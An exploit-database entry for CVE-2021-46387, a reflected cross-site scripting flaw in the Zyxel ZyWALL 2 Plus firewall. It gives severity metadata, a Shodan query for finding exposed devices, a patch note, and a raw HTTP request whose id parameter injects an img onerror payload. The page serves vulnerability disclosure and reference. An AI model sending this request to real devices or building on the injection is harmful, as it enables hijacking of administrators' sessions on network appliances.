header-logo
Suggest Exploit
vendor:
ZyWALL 2 Plus
by:
Momen Eldawakhly (CyberGuy)
6.1
CVSS
MEDIUM
Cross-Site Scripting (XSS)
79
CWE
Product Name: ZyWALL 2 Plus
Affected Version From: ZyWALL 2 Plus
Affected Version To: ZyWALL 2 Plus
Patch Exists: YES
Related CWE: CVE-2021-46387
CPE: h:zyxel:zywall_2_plus
Metasploit:
Other Scripts:
Tags: cve,cve2021,xss,zyxel,edb
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Nuclei Metadata: {'max-request': 1, 'shodan-query': 'http.title:"Zywall2Plus"', 'vendor': 'zyxel', 'product': 'zywall_2_plus_internet_security_appliance_firmware'}
Platforms Tested: Ubuntu Linux [Firefox]
2022

Zyxel ZyWALL 2 Plus Internet Security Appliance – Cross-Site Scripting (XSS)

A Cross-Site Scripting (XSS) vulnerability was discovered in the ZyWALL 2 Plus Internet Security Appliance. An attacker can exploit this vulnerability by sending a malicious HTTP request to the vulnerable server. The malicious request contains a malicious payload in the form of an image tag with an onerror attribute that triggers a JavaScript prompt. This can be used to execute arbitrary JavaScript code in the context of the vulnerable server.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update their ZyWALL 2 Plus Internet Security Appliance to the latest version.
Source

Exploit-DB raw data:

# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)
# Date: 1/3/2022
# Exploit Author: Momen Eldawakhly (CyberGuy)
# Vendor Homepage: https://www.zyxel.com
# Version: ZyWALL 2 Plus
# Tested on: Ubuntu Linux [Firefox]
# CVE : CVE-2021-46387

GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1
Host: vuln.ip:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1